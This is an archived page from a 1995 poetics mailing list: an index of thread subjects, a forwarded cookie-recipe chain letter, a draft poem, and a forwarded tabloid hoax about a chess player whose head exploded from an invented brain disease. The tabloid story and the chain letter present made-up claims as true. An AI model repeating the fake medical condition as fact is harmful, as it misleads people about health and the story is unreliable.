118. Maria Damon — Re: An especial danger to hard working poets (fwd)
119. George Bowering — Re: The Art and Poetry Worlds
120. Maria Damon — Re: Poetry Wars
121. George Bowering — Re: An especial danger to hard working poets (fwd)
122. George Bowering — Re: wild blue and art/writing
123. Sheila E. Murphy — Re: Poetry Seams
124. Charles Alexander — Joel Oppenheimer
125. Tom Beard — whyld blue avant-pop
126. Tom Beard — whyld, comfy blue

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127. Sheila E. Murphy — Re: AWOL: ARTS ONLINE CONFERENCE
128. Dodie Bellamy — Consumer Item
129. Tom Beard — Re: Consumer Item
130. Alan Sondheim — Re: Consumer Item
131. R I Caddel — poets n parties
132. CAROLYN L. FORCHE-MATTISON — Re: The Art and Poetry Worlds
133. CAROLYN L. FORCHE-MATTISON — Re: The Art and Poetry Worlds
134. B. Cassidy — Re: Out Beyond Its Edge / Keaton Centennial
135. H. T. KIRBY-SMITH — Prosody List
136. Mark Roberts — AWOL: ARTS ONLINE CONFERENCE
137. Maria Damon — Re: Influence query
138. Maria Damon — Re: whyld blue avant-pop
139. Charles Alexander — Re: whyld, comfy blue
140. Larry Price — Politics and derivation
141. Charles Alexander — friends
142. Bill Luoma — Re: Oops Snoops
143. Sandra Braman — poetry
144. Blair Seagram — Visual Art & Poetry
145. eric pape — Re: The Art and Poetry Worlds
146. Burt Kimmelman — Re: Joel Oppenheimer
147. Charles Alexander — Re: poetry
148. Charles Smith — Re: Celan Salon
149. Judy Roitman — Re: whyld, comfy blue
150. Fred Muratori — Giants and LIPS
151. Mark Roberts — Re: AWOL: ARTS ONLINE CONFERENCE
152. Fred Muratori — Re: Joel Oppenheimer
153. tunguska — oj can you see...the glove
154. tunguska — derivation passage

155. tunguska — Stephen Jonas, gentleman
156. tunguska — The History of Lies: Derrida @ New School NYC 10/6 4 p.m.
157. Lindz Williamson — thanksgiving
158. Charles Alexander — Re: The Art and Poetry Worlds

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159. Ron Silliman — Re: The Art and Poetry Worlds
160. CAROLYN L. FORCHE-MATTISON — Re: The Art and Poetry Worlds
161. Maria Damon — Re: The History of Lies: Derrida @ New School NYC 10/6 4 p.m.
162. Maria Damon — Re: thanksgiving
163. Maria Damon — Re: thanksgiving
164. Maria Damon — Re: The Art and Poetry Worlds
165. Maria Damon — Re: Stephen Jonas, gentleman
166. CAROLYN L. FORCHE-MATTISON — Re: The Art and Poetry Worlds
167. kat — Re: The History of Lies: Derrida @ New School NYC 10/6 4 p.m.
168. Aldon L. Nielsen — Re: the workshop and the outside
169. Burt Kimmelman — Re: oj can you see...the glove
170. Burt Kimmelman — Re: The Art and Poetry Worlds
171. Burt Kimmelman — Re: The Art and Poetry Worlds
172. Rod Smith — Re: The History of Lies: Derrida @ New School NYC 10/6 4 p.m.
173. Steve Evans — Bien Pensant Pinking Shears
174. Chris Stroffolino — Re: The Art and Poetry Worlds
175. Chris Stroffolino — Re: Bien Pensant Pinking Shears
176. Steve Carll — Workshops that work

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177. Eryque Gleason — Re: The Art and Poetry Worlds
178. Rod Smith — Re: Bien Pensant Pinking Shears
179. Blair Seagram — identity crises
180. Tom Beard — Re: whyld, comfy blue
181. Tom Beard — Gift
182. Ron Silliman — Re: wild blue yonder

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183. R I Caddel — Giants play well in the drizzle
184. Aldon L. Nielsen — Re: Signifier Surplus
185. Aldon L. Nielsen — Re: line & sinker
186. Mark Wallace — I want to help it, but I can't
187. Dodie Bellamy — Re: line & sinker
188. Edward Foster — Re: Politics and derivation
189. Edward Foster — Re: Joel Oppenheimer
190. Edward Foster — Re: Giants and LIPS
191. cris cheek — Re: yonder lies a surplus of the signifier....
192. Shaunanne Tangney — Re: Gift
193. Ron Silliman — Re: The South

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194. Aldon L. Nielsen — Re: verbatim gift from my TV set
195. Rod Smith — Re: didgeridoo lips
196. Charles Smith — Re: The South
197. Ron Silliman — Yonder
198. R I Caddel — pens are too light (fwd)
199. Ann Louise Vickery — Re: The South
200. Ann Lauterbach — Re: POETICS Digest - 7 Oct 19...
201. ULMER SPRING — Re: Yonder
202. Gale Nelson — Re: I want to help it, but I can't
203. Jeff Hansen — poetry and politics

204. Peter Larkin — Fragments, mourning and derivation
205. tunguska — politics (cultural contexts) & derivation
206. Daniel Bouchard/College/hmco — Re: poetry and politics
207. tunguska — Derrida on the episteme of lies
208. tunguska — Stephen Jonas/gentleman
209. Herb Levy — Re: Yonder
210. Dodie Bellamy — Re: poetry and politics
211. Angus Cleghorn — Gift
212. tunguska — New Release from Spuyten Duyvil//Alice Rose George
213. Charles Alexander — Re: Gift
214. Charles Alexander — Re: I want to help it, but I can't
215. Jordan Davis — Re: poetry and politics
216. FUNKHOUSER CHRISTOPH — cd-rom announcement
217. Maria Damon — Re: poetry and politics
218. Maria Damon — Re: poetry and politics
219. Jordan Davis — something else lies do
220. Louis Cabri — 4 horse men
221. Shaunanne Tangney — Re: Gift
222. Steve Evans — Re: poetry and politics
223. Steve Carll — Re: verbatim gift from my TV set

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224. Rod Smith — Re: poetry and politics
225. Tenney Nathanson — gifts
226. Tenney Nathanson — (no subject)
227. Tenney Nathanson — (no subject)
228. Ron Silliman — Re: verbatim gift from my TV set
229. Ron Silliman — Quality is job one
230. Ron Silliman — Re: Yonder
231. Maria Damon — Re: No Subject
232. Mark Wallace — poetry and power
233. Alan Golding — Rolf Harris
234. Steve Evans — Tsunami/Object
235. Loss Glazier — Texts about poetics "sound"
236. Gale Nelson — Re: I want to help it, but I can't
237. Charles Smith — Re: Tsunami/Object
238. Edward Foster — Re: politics (cultural contexts) & derivation
239. Edward Foster — Re: No Subject
240. Aldon L. Nielsen — Re: the gift of a tractor
241. Loss Glazier — Re: "Naropa P-Wars"
242. John Lavagnino — Call for papers: Poetry and computers (1996 MLA)
243. A. Morris — Re: gifts
244. Steve Carll — Re: poetry and politics
245. Steve Carll — Re: something else lies do
246. cris cheek — Re: Yonder / friendship / gifts and sound
247. Charles Alexander — new books/an offer
248. Schuchat — Re: "Naropa P-Wars"

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249. Robert Drake — Re: 4 horsemen, and soundpoetry yonder...
250. George Bowering — Re: poetry and politics
251. R I Caddel — new book
252. Daniel Bouchard/College/hmco — Re: "Naropa P-Wars"
253. Loss Glazier — Re: turning off mail for a while
254. Judy Roitman — Re: "Naropa P-Wars"
255. Tenney Nathanson — Michael as exemplum (?)
256. Tenney Nathanson — and furthermore

257. Tenney Nathanson — sigh
258. Tenney Nathanson — yep
259. kat — Re: Derrida on the episteme of lies
260. Aldon L. Nielsen — Re: oceans blue
261. Carl Lynden Peters — Emily Dickinson-
262. Romana Christina Huk — poetry on CD-ROM
263. tunguska — context & derivation
264. Jonathan Brannen — (no subject)
265. Burt Kimmelman — Re: Derrida on the episteme of lies
266. Loss Glazier — Re: poetry on CD-ROM
267. cris cheek — 4 Horsemen recordings
268. Lisa Samuels — Re: Texts about poetics "sound"
269. Jeffrey Timmons — Re: No Subject
270. Steve Carll — Re: sigh
271. Charles Alexander — Re: Emily Dickinson-

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272. Chris Stroffolino — Re: Emily Dickinson-
273. George Bowering — Re: turning off mail for a while
274. John Cayley — UKania - The 'Nation's' favourite poem
275. Maria Damon — Re: Emily Dickinson-
276. Jonathan A Levin — Re: Emily Dickinson-
277. Charles O. Hartman — Re: POETICS Digest - 11 Oct 1995 to 12 Oct 1995
278. Hank Lazer — Re: Emily Dickinson-
279. Edward Foster — Re: Emily Dickinson-
280. Herb Levy — Re: Yonder
281. Herb Levy — Deep Listening Catalog
282. Edward Foster — Re: Emily Dickinson-
283. ULMER SPRING — Re: Texts about poetics "sound"
284. Tenney Nathanson — Wallace
285. Tenney Nathanson — and
286. Ken Edwards — Top ten poems
287. Loss Glazier — Poetry in Motion (Review)
288. Bill Luoma — Re: The Art and Poetry Worlds
289. Larry Price — So we tanned his hide when he died, Clyde
290. Charles Alexander — Re: Top ten poems
291. Ryan Knighton — Re: Michael as exemplum (?)
292. Patrick Phillips — Re: poet kills black flag dead
293. Mark Scroggins — Re: Top ten poems
294. Steve Carll — Re: Emily Dickinson-

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295. Michael Davidson — Re: Michael as exemplum (?)
296. Aldon L. Nielsen — Re: poetry in notions
297. R I Caddel — Top Ten Poets
298. Ron Silliman — Re: The Art and Poetry Worlds
299. CTHEORY/fwrd — Lorenz on Cicchetto (review)
300. cris cheek — Re: Top ten poems
301. tunguska — Top Ten Poetries
302. Chris Stroffolino — Re: The Art and Poetry Worlds
303. Robert Drake — Re: poetry in notions
304. Judy Roitman — Re: Michael as exemplum (?)
305. Maria Damon — Re: Top ten poems
306. Maria Damon — Re: Michael as exemplum (?)
307. Diane Marie Ward — Emily & top ten poems
308. Patrick Phillips — Re: Emily & top ten poems
309. Charles Alexander — Re: Top ten poems

310. Charles Alexander — Re: Emily & top ten poems
311. James Banton Rolins — The art and poetry worlds
312. Diane Marie Ward — Re: Emily & top ten poems
313. Alan Sondheim — Re: Emily & top ten poems

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314. Chris Stroffolino — Re: Emily & top ten poems
315. Chris Stroffolino — Re: Emily & top ten poems
316. Rod Smith — Re: Top ten poems
317. Ron Silliman — Re: Michael as exemplum (?)
318. Ron Silliman — Re: The Art and Poetry Worlds
319. Michael Davidson — Re: Michael as exemplum (?)
320. Michael Davidson — Re: Michael as exemplum (?)
321. Robert Drake — Re: Emily & top ten poems
322. Maria Damon — Re: Top ten poems
323. Gwyn McVay — Re: The art and poetry worlds
324. Herb Levy — Re: Texts about poetics "sound"
325. Herb Levy — Re: Top ten poems
326. Chris Stroffolino — Re: Emily & top ten poems
327. Tony Green — Re: Top ten poems
328. Loss Glazier — Re: Poetry in Motion (Review)
329. Patrick Phillips — Re: Emily & top ten poems
330. Ken Edwards — Top ten poems
331. Charles O. Hartman — Re: POETICS Digest - 13 Oct 1995 to 14 Oct 1995
332. Carl Lynden Peters — Re: Emily Dickinson-
333. Wystan Curnow — Re: Poetry in Motion (Review)
334. Lisa Samuels — Re: Top ten poems
335. Wystan Curnow — Re: Top ten poems
336. Tony Green — Re: Top ten poems
337. Diane Marie Ward — top ten
338. Charles Alexander — Re: Top ten poems
339. Jeffrey Timmons — Forwarded mail....
340. Charles Bernstein — Emerging Generation

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341. A. Morris — Re: Texts about poetics "sound"
342. Aldon L. Nielsen — Re: a death in the family
343. James Banton Rolins — Re: Emily Dickinson-
344. Tenney Nathanson — legacies of modernism
345. Tenney Nathanson — grandma Emily?
346. Kevin Killian — FBI files
347. Kevin Killian — Re: Poetry in Motion (Review)
348. R I Caddel — Top Ten / Bottom Ten
349. James Banton Rolins — Re: The Art and Poetry worlds
350. Chris Stroffolino — Re: grandma Emily?
351. Gwyn McVay — Re: The Art and Poetry worlds
352. Jonathan A Levin — Re: Emily Dickinson-
353. Mark Wallace — Situation #10
354. John Lavagnino — Re: Emily Dickinson
355. Edward Foster — Re: Emily & top ten poems
356. Edward Foster — Re: Emily & top ten poems
357. Edward Foster — Re: Emily Dickinson-
358. Kenneth Goldsmith — Albany Reading Announcement
359. eric pape — Re: The Art and Poetry worlds
360. Mark Roberts — Re: The Art and Poetry Worlds
361. Tony Green — Re: Emerging Generation
362. CAROLYN L. FORCHE-MATTISON — Museums of France on the web

363. Maria Damon — Re: The Art and Poetry worlds
364. Maria Damon — Re: FBI files
365. Maria Damon — Re: a death in the family
366. Maria Damon — Re: Top ten poems
367. James Banton Rolins — Re: The Art and Poetry worlds
368. Jeffrey Timmons — Colonialism
369. Kenneth Sherwood — Reception : and the top Ten
370. Ron Silliman — Kaufmania

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371. Marshall H. Reese — video/book installation
372. eric pape — Re: Colonialism
373. Wendy Battin — New Site for CAPA
374. CAROLYN L. FORCHE-MATTISON — Re: video/book installation
375. Michael Davidson — Re: legacies of modernism
376. Gale Nelson — Anagrams A-Go-Go
377. Ken Edwards — Albert Hall
378. Ken Edwards — Top Ten / Bottom Ten
379. James Sherry — Evaluation
380. Tom Beard — Dash it, Emily!
381. Tom Beard — Re: Top ten poems
382. Loss Glazier — Re: Poetry in Motion (from Chris Funkhouser)
383. Issa Clubb — Re: Poetry in Motion (from Chris Funkhouser)
384. Steve Carll — Re: Albert Hall
385. Mark McMorris — That was then
386. Judy Roitman — Re: The Art and Poetry worlds
387. Steve Carll — Re: Top ten poems
388. Loss Glazier — Book/Reading Annoucement
389. Wystan Curnow — Re: Top ten poems
390. Tom Beard — a glorious failure
391. Charles O. Hartman — Re: Dash it, Emily!
392. Jonathan Brannen — Re: Situation #10

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393. Jeffrey Timmons — Re: Colonialism
394. Dodie Bellamy — Re: a glorious failure
395. Pierre Joris — NEWS VIA PEN
396. R I Caddel — Re: Top XI
397. Gwyn McVay — Re: a glorious failure
398. Gale Nelson — Re: The Art and Poetry worlds
399. Jordan Davis — geese
400. Burt Kimmelman — Call for contributors
401. Carl Lynden Peters — Re: Dash it, Emily! (fwd)
402. Charles Alexander — Re: a glorious failure
403. Willa Jarnagin — Re: a glorious failure
404. Mark Roberts — Re: Top ten poems
405. Aldon L. Nielsen — Re: Distant Lover
406. Alan Golding — Poems for the Millenium
407. Joe Amato — Re: Distant Lover
408. cris cheek — Albert Hall
409. eric pape — Re: a glorious failure
410. eric pape — Re: Colonialism
411. eric pape — Re: The Art and Poetry worlds
412. Burt Kimmelman — Re: Distant Lover
413. cris cheek — Re: in dreams
414. cris cheek — Re: Sheila, Cris & Jorge's Excellent Adventure
415. Kenneth Goldsmith — Virus Alert

416. Wystan Curnow — Re: Evaluation
417. Wystan Curnow — Re: a glorious failure

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418. jms — review of Brakhage films at MOMA
419. James Banton Rolins — Re: Distant Lover
420. James Banton Rolins — Re: The Art and Poetry worlds
421. Tenney Nathanson — E.D., dash it all
422. Tenney Nathanson — I wanted the details
423. Kevin Killian — Announcement of reading in SF
424. Ron Silliman — Re: The Art and Poetry worlds
425. Dodie Bellamy — theory and the teaching of writing
426. John Cayley — Albert Hall
427. B. Cassidy — Re: Virus Alert
428. CAROLYN L. FORCHE-MATTISON — Re: Distant Lover
429. Burt Kimmelman — Re: Distant Lover
430. James Banton Rolins — Re: Distant Lover
431. Joe Amato — distanced learning...
432. Judy Roitman — Re: Virus Alert
433. Mark Roberts — AWOL: SCARP launch
434. Aldon L. Nielsen — Re: workshop geese
435. Kevin Killian — Another important SF writing event
436. Burt Kimmelman — Re: Distant Lover
437. Burt Kimmelman — Re: Distant Lover
438. John Geraets — top 10 poems
439. Dodie Bellamy — Niedecker and Zukowski
440. Tom Beard — a spoonful of sugar
441. Gale Nelson — Re: Distant Lover
442. Tom Beard — the audience
443. Jordan Davis — distant lesson
444. cris cheek — Geese and 'trolls'
445. Tom Beard — punctuation & prosody
446. Tony Green — Re: Top ten poems
447. Alan Sondheim — Re: distant lesson
448. Robert Drake — Re: Poetry in Motion (Review)
449. ULMER SPRING — Re: distant lesson
450. Tony Green — Re: Distant Lover
451. Chris Stroffolino — Re: Niedecker and Zukowski
452. Tom Beard — Re: distant lesson
453. Chris Scheil — Re: a glorious failure
454. Ken Edwards — Albert Hall
455. Jordan Davis — (none)
456. Mark Scroggins — Re: Niedecker and Zukowski
457. Ryan Knighton — Cabri?

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458. Dodie Bellamy — Re: a spoonful of sugar
459. Dodie Bellamy — Re: Niedecker and Zukowski
460. Dodie Bellamy — Re: Geese and 'trolls'
461. Dodie Bellamy — Zuk, Buk, and Cuke
462. Steve Carll — jesse taylor-york
463. Aldon L. Nielsen — Re: dissin dat
464. Wystan Curnow — Re: the audience
465. R I Caddel — Niedecker/Zukofsky
466. Mark Scroggins — Re: Niedecker and Zukofsky
467. David Kellogg — Re: Niedecker and Zukofsky
468. ULMER SPRING — Re: Niedecker and Zukowski

469. ULMER SPRING — Re: Distant Lover
470. Jordan Davis — odo/zoon hypoleptikon
471. ULMER SPRING — Re: Geese and 'trolls'
472. ULMER SPRING — Re: Niedecker and Zukofsky
473. CAROLYN L. FORCHE-MATTISON — Re: Poetry in Motion (Review)
474. Jordan Davis — (none)
475. Peter Zukowski — Re: Zuk, Buk, and Cuke
476. eric pape — Re: The Art and Poetry worlds
477. Mark Roberts — AWOL: Ulitarra Magazine
478. Chris Stroffolino — Re: Zuk, Buk, and Cuke
479. cris cheek — Re: Geese and 'trolls'
480. cris cheek — Albert Hall
481. kathryne lindberg — Re: The Art and Poetry worlds
482. Charles Smith — Re: Poetry in Motion (Review)
483. Charles Smith — Re: LN & LZ
484. Steve Carll — Re: Albert Hall

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485. Dodie Bellamy — anagram
486. Dodie Bellamy — Re: Zuk, Buk, and Cuke
487. Dodie Bellamy — Re: Niedecker/Zukofsky
488. Ron Silliman — Re: Niedecker and Zukofsky
489. Ron Silliman — Respelling LZ
490. Charles Alexander — Re: LN & LZ
491. Mark Scroggins — Re: Niedecker and Zukofsky
492. Charles Alexander — Re: Niedecker and Zukofsky
493. Charles Smith — Re: LN & LZ
494. Chris Stroffolino — Re: Respelling LZ
495. Chris Stroffolino — Re: Niedecker and Zukofsky
496. Chris Stroffolino — outpost entropy, etc.
497. Jordan Davis — my place is better than your place
498. B. Cassidy — Voice synth.

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499. Ron Silliman — Metroplex
500. Beth Russell — cats
501. Beth Russell — "creative"/theoretical
502. Kenneth Sherwood — Zukofsky's Urban NY
503. eric pape — Re: The Art and Poetry worlds
504. Chris Stroffolino — Re: Metroplex

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505. FUNKHOUSER CHRISTOPH — cd-ro(a)m
506. Charles Alexander — Re: cd-ro(a)m
507. Chris Stroffolino — Re: cd-ro(a)m
508. Gabrielle Welford — Re: cd-ro(a)m
509. Ron Silliman — Re: Metroplex
510. R I Caddel — Niedecker/Zukofsky
511. cris cheek — Re: desire / and the 39 steps
512. Mark Wallace — BAAAAAAD villanelle!
513. Mark Wallace — D.C. poets
514. Gale Nelson — Re: BAAAAAAD villanelle!
515. Jordan Davis — Re: BAAAAAAD ass song
516. Jordan Davis — Re: BAAAAAAD ass song
517. Herb Levy — Cage Fest @ Mills, Olson? at Huddersfield
518. Herb Levy — Oracles on the Internet
519. Dodie Bellamy — Re: Niedecker/Zukofsky

520. Bill Luoma — vertical Blanking interval
521. Rod Smith — Re: BAAAAAAD villanelle!
522. Rod Smith — Recent DC readings
523. Beth Russell — Re: metroplex
524. Mark Scroggins — Re: Niedecker/Zukofsky
525. Mark Roberts — AWOL: CROSSING PRESS
526. Tony Green — Re: Geese and 'trolls'
527. Romana Christina Huk — thanks, question, report
528. Schuchat — Re: Niedecker/Zukofsky
529. Chris Stroffolino — Re: Metroplex
530. Patrick Phillips — Re: BAAAAAAD villanelle!
531. Patrick Phillips — Re: vertical Blanking interval
532. Jeffrey Timmons — Re: D.C. poets
533. Steve Carll — Who you callin' cream-puff head?
534. Robert Drake — Postmodern culture call fr Hypertext (forward)

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535. Aldon L. Nielsen — Re: informalism
536. Aldon L. Nielsen — Re: the responsibility of the text
537. Chris Stroffolino — Re: BAAAAAAD villanelle!
538. Tenney Nathanson — re
539. Tenney Nathanson — examples (complete w illustrations?)
540. Tenney Nathanson — and future....?....
541. Tenney Nathanson — more ghosts of more past Christmases
542. Kevin Killian — Re: Niedecker/Zukofsky
543. Ron Silliman — Re: Metroplex
544. Chris Stroffolino — Re: Metroplex
545. Joshua Mckinney — BAAAAAD villanelle (fwd)
546. Chris Stroffolino — Re: Villanelle
547. Jordan Davis — Re: Metroplex
548. H. T. KIRBY-SMITH — Villanelle
549. Joe Amato — Re: Hypertext & Poetry Possibilities
550. Charles Alexander — Re: informalism
551. Charles Alexander — Re: Hypertext & Poetry Possibilities
552. Judy Roitman — Re: Hypertext & Poetry Possibilities
553. Jim Rosenberg — Hypertext & Poetry Possibilities
554. Mark Roberts — AWOL: SCARP magazine
555. R I Caddel — Re: Niedecker/Zukofsky
556. Joe Amato — Re: Hypertext & Poetry Possibilities
557. Eryque Gleason — Re: Hypertext & Poetry Possibilities
558. Ken Edwards — Terry Riley/Olson

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559. Kenneth Sherwood — Open Letter to Mark Wallace
560. Spencer Selby — mag list update
561. Ron Silliman — Metroplexities
562. R I Caddel — The Nasty Niedecker Man Again
563. John Cayley — Re: Hypertext & Poetry Possibilities
564. Larry Price — Villon's Snow (still falling)
565. H. T. KIRBY-SMITH — May Swenson
566. Gale Nelson — Re: Metroplexities
567. Edward Foster — Re: mag list update
568. Jim Rosenberg — Re: Hypertext & Poetry Possibilities
569. Willa Jarnagin — Re: Metroplexities
570. Beth Russell — wagering poetics
571. Daniel Bouchard/College/hmco — Complex city/ scene- ery
572. Timothy Liu — Re: Metroplexities

573. Robert Drake — Re: Situation #10
574. Alan Golding — Maria (D.)
575. Jonathan Brannen — Re: Wallace and fiscal poetry
576. Burt Kimmelman — poetry with a tech slant: anthology
577. Scott Pound — McCaffery & MacCormack Buffalo Reading
578. Charles Alexander — Re: Metroplexities
579. david ayre — fleet'n greet'ns
580. david ayre — oops

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581. Gabrielle Welford — Re: Hypertext & Poetry Possibilities
582. Ron Silliman — Re: Hypertext & Poetry Possibilities
583. Ron Silliman — Upper Limit Atlanta
584. Ron Silliman — Re: fleet'n greet'ns
585. Joe Amato — Re: Hypertext & Poetry Possibilities
586. Herb Levy — KSW=Kootenay's Site on the Web
587. Robert Drake — Re: oops
588. Robert Drake — Re: Upper Limit Atlanta
589. Chris Stroffolino — Re: Metroplexities
590. tunguska — Villon's Snow (always)
591. Robert Drake — Re: KSW=Kootenay's Site on the Web
592. Beth Russell — Re: burt kimmeleman's course
593. Wystan Curnow — Re: Villon's Snow (still falling)

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594. Kenneth Sherwood — Computers and Writing
595. John Cayley — Re: Hypertext & Poetry Possibilities
596. John Cayley — Inscription in complex media - was: Hypertext & Poetry...
597. Robert Drake — Re: Hypertext & Poetry Possibilities
598. Gale Nelson — Re: poetry with a tech slant: anthology
599. Gale Nelson — Re: wagering poetics
600. Edward Foster — Re: Wallace and fiscal poetry
601. Bill Luoma — Pitch of the Sun
602. Charles Bernstein — You - the City NY Screening
603. Eryque Gleason — Re: wagering poetics
604. Timothy Liu — Yet Another Vilanelle
605. Jordan Davis — readings desiderata
606. Joe Amato — Re: Inscription in complex media - was: Hypertext & Poetry...
607. Burt Kimmelman — Re: burt kimmeleman's course

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608. Charles Alexander — Re: Hypertext & Poetry Possibilities
609. Charles Alexander — Re: Inscription in complex media - was: Hypertext & Poetry...
610. Charles Alexander — Re: readings desiderata
611. Tenney Nathanson — & Ralph Waldo
612. Kenneth Sherwood — tinkertoys
613. Ron Silliman — Re: Inscription in complex media - was: Hypertext & Poetry...
614. Ron Silliman — TinkerToy
615. Ron Silliman — Re: readings desiderata
616. Chris Stroffolino — Re: & Ralph Waldo
617. Chris Stroffolino — Re: & Ralph Waldo
618. Charles Bernstein — Positions open at Wayne State University (fwd)
619. Jim Rosenberg — Re: Hypertext & Poetry Possibilities
620. Jim Rosenberg — Re: Hypertext & Poetry Possibilities
621. Jim Rosenberg — Re: Hypertext & Poetry Possibilities
622. Joe Amato — Re: Hypertext & Poetry Possibilities
623. Steven Howard Shoemaker — Computers and Writing

624. Steven Howard Shoemaker — computers and writing
625. Steven Howard Shoemaker — Re: poetry w/ a tech slant: anthology

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626. Loss Glazier — Where's the Hypertext in this Thread?
627. Tenney Nathanson — dunno but
628. Jerry Rothenberg — Re: Hypertext & Poetry Possibilities
629. Graham John Sharpe — _The Electronic Labyrinth_ (fwd)
630. Kenneth Sherwood — hypertext--media--baseballs
631. Charles Alexander — visual poets
632. Joe Amato — Re: Hypertext & Poetry Possibilities
633. Aldon L. Nielsen — Re: the shape of jazz to come/gone
634. Aldon L. Nielsen — Re: confessional averse
635. kathryne lindberg — Re: the shape of jazz to come/gone
636. Chris Stroffolino — Re: the shape of jazz to come/gone
637. Tom Beard — Re: Where's the Hypertext in this Thread?
638. Kenneth Sherwood — return to the tinkering

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641. H. T. KIRBY-SMITH — Visual Poetry
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644. Joe Amato — Re: Hypertext & Poetry & Tinkertools & Baseball
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646. Gale Nelson — Re: wagering poetics
647. Jim Rosenberg — Concrete Poetics Dialogue (was Hypertext & Poetry Possibilities)
648. Dodie Bellamy — shapeshifting
649. Mark Roberts — AWOL: November Happenings 1/2
650. Mark Roberts — AWOL: November Happenings 2/2
651. Charles Alexander — Re: Visual Poetry
652. Joe Amato — all---fyi...
653. Jordan Davis — Re: readings desiderata
654. Edward Foster — Re: & Ralph Waldo
655. Chris Stroffolino — Re: & Ralph Waldo
656. James Sherry — Re: Evaluation

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657. Aldon L. Nielsen — Re: oh dodie oh
658. Aldon L. Nielsen — Re: the color of concrete
659. Rod Smith — Hejinian/Palmer @ L.O.C.
660. Burt Kimmelman — Re: Hypertext & Poetry & Tinkertools & Baseball
661. Burt Kimmelman — Orono Conference
662. Charles Alexander — Re: Concrete Poetics Dialogue (was Hypertext & Poetry Possibilities)
663. Edward Foster — Re: & Ralph Waldo
664. Steve Evans — Awesome 6some
665. Burt Kimmelman — Rod Smith
666. Kenneth Sherwood — RIF/T 05 release
667. Kit Robinson — Robert Grenier
668. Jordan Davis — Signature file goin out to the unix crowd
669. Steve Carll — Re: readings desiderata
670. Sheila E. Murphy — Re: readings desiderata
671. Beth Russell — the Hypertextual possibilities
672. Laura Moriarity via — Re: poetry readings

1. Gabrielle Welford

Resisting Neiman-Marcus (fwd)

Sun 1 Oct 1995

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [redacted] for more info.

--0-590200967-812235533=:21381

Teri Tynes (wife of Dan Streible, Radio, TV Film) sent this to me. Enjoy!

This message is sent to you with the hope you will forward it to EVERYONE you have ever even seen the e-mail address of. In the spirit of the originator,please feel free to post it anywhere and everywhere. * * *

So, here it is, and please pass it to someone else or run a few copies....I paid for it; now you can have it for free.

(Recipe may be halved.):

2 cups butter 4 cups flour
2 tsp. soda 2 cups sugar
5 cups blended oatmeal** 24 oz. chocolate chips
2 cups brown sugar 1 tsp. salt
1 8 oz. Hershey Bar (grated) 4 eggs
2 tsp. baking powder 3 cups chopped nuts (your choice)
2 tsp. vanilla

** measure oatmeal and blend in a blender to a fine powder.
Cream the butter and both sugars. Add eggs and vanilla;
mix together with flour, oatmeal, salt, baking powder,
and soda. Add chocolate chips, Hershey Bar and nuts. Roll into
balls and place two inches apart on a cookie sheet. Bake
for 10 minutes at 375 degrees. Makes 112 cookies.

Have fun!!! This is not a joke --- this is a true story..

********** That's it. Please, pass it along to everyone you know, single people, mailing lists, etc.....

Ride free, citizen!

--0-590200967-812235533=:21381--

↑ Index

2. Gabrielle Welford

Re: spike it with saussure - begins the intramix...

Sun 1 Oct 1995

> *In the books were dreams and in the dreams were books*
> *of Palookaville & the dead heroes of Guadalajara*
> *empowering scores of liberated mozos intent of Lacanian*
> *libretti, salted with much, much more than roughage added to taste*
> *or tremolo, finding the shores awash with alphabet, proclaiming nothing*
> *nutting nothing a-merrily overbodies abandon*
> *where wrote was written, stepping one four nine*
> *passacaglia without the prefab little knobbed things on them*
> *completely set on the sea as so much crabbiness*
> *diverts attention from wars in three voices and the steady rain of hemlock*
> *falling on the Concerns box & a sob distant as adventure capital*
> *behind the exterior of the city was an interior composed*
> *of scar tissue recording the grain of farm house timbers*

> *a rubble of history in the grass where a decapitated statue*
> *unavoidably becomes an image of a nation without a true face*
> *ugh gotta change that line*

↑ Index

3. Carlos Gallego

grad students beware (fwd)

Sun 1 Oct 1995

---------- Forwarded message ----------
Date: Mon, 10 Oct 1994 14:45:06 -0700 (MST)
From: Maricela I Valenzuela <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: grad students beware (fwd)

---------- Forwarded message ----------
Date: Sat, 08 Oct 1994 00:01:26 -0700 (MST)
From: [redacted]
To: claire and george <[redacted]>, [redacted],
[redacted], [redacted],
[redacted], allison hughes <[redacted]>,
peru and shih-chen <[redacted]>,
joann k <[redacted]>, [redacted],
reed riner <[redacted]>
Subject: grad students beware (fwd)

thought you might enjoy this:
---------- Forwarded message ----------
Date: Fri, 07 Oct 1994 16:22:10 -0700 (MST)
From: Nancy H Vuckovic <[redacted]>
To: womenfolk <[redacted]>, [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted]
Subject: grad students beware (fwd)

At last! Medical verification for avoiding too much cognitive effort! Ain't science grand! Better slow down now or face the consequences. Don't say I didn't warn you!! N.

[excerpt from a message posted to cybermind by Alan Sondheim]

*****From the WEEKLY WORLD NEWS, May 24, 1994**********
MOSCOW --

Doctors are blaming a rare electrical imbalance in the brain for the bizarre death of a chess player whose head literally exploded in the middle of a championship game!

No one else was hurt in the fatal explosion but four players and three officials at the Moscow Candidate Masters' Chess Championships were sprayed with blood and brain matter when Nikolai Titov's head suddenly blew apart. Experts say he suffered from a condition called Hyper-Cerebral Electrosis or HCE.

"He was deep in concentration with his eyes focused on the board," says Titov's opponent, Vladimir Dobrynin. "All of a sudden his hands flew to his temples and he screamed in pain. Everyone looked up from their games, startled by the noise. Then, as if someone had put a bomb in his cranium, his head popped like a firecracker."

Incredibly, Titiov's is not the first case in which a person's head has spontaneously exploded. Five people are known to have died of HCE in the last 25 years. The most recent death occurred just three years ago in 1991, when European psychic Barbara Nicole's skull burst. Miss Nicole's story was reported by newspapers worldwide, including WWN. "HCE is an extremely rare physical imbalance," said Dr. Anatoly Martinenko, famed neurologist and expert on the human brain who did the autopsy on the brilliant chess expert. "It is a condition in which the circuits of the brain become overloaded by the body's own electricity. The explosions happen during periods of intense mental activity when lots of current is surging through the brain. Victims are highly intelligent people with great powers of concentration. Both Miss Nicole and Mr. Titov were intense people who tended to keep those cerebral circuits overloaded. In a way it could be said they were literally too smart for their own good."

Although Dr. Martinenko says there are probably many undiagnosed cases, he hastens to add that very few people will die from HCE. "Most people who have it will never know. At this point, medical science still doesn't know much about HCE. And since fatalities are so rare it will probably be years before research money becomes available."

In the meantime, the doctor urges people to take it easy and not think too hard for long periods of time. "Take frequent relaxation breaks when you're doing things that take lots of mental focus," he recommends.

(As a public service, WWN added a sidebar titled HOW TO TELL IF YOUR HEAD'S ABOUT TO BLOW UP:)

